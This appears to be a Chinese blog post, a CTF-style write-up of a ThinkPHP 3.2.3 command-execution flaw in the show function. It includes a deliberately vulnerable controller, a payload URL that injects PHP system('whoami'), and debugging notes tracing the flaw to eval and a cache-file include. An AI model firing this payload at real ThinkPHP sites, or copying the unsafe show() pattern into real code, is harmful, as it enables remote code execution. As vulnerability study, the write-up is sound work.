前言
真的是基础不踏实,之前打tp都是网上payload一把梭
所以现在还得回头重新审
这次就不找环境了,自己来搭一下
源码下载:thinkphp_3.2.3源码.zip
show函数命令执⾏
环境搭建
修改 /Application/Home/Controller/IndexController.class.php :
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;}
body{ background: #fff; font-family: "微软雅⿊"; color: #333;font-size:24px} h1{ font-size: 100px;
font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px }
a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 show函数命令执⾏
</h2><p>注⼊点:'.$n.'</p>','utf-8');
}
}
Payload
/index.php/home/index/index?n=<?php system("whoami");?>
调试分析
然后来调试分析
通过观察 $content 的值的变化来确定漏洞点,因为要返回到⻚⾯上
通过调试找到漏洞点,并缩⼩范围,可以发现漏洞点在 fetch 中,跟进 fetch
关键代码在这
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params =
array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
跟进exec
跟进run
进⼊ load ⽅法
这个 $_filename 其实就是缓存⽂件,缓存⽂件的内⽤就是⻚⾯的php代码,从⽽进⾏了⽂件包含。
结语
这其实就是ctfshow的一题,但是没环境,需要自己搭一下
这次调试就到这个地方啦
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!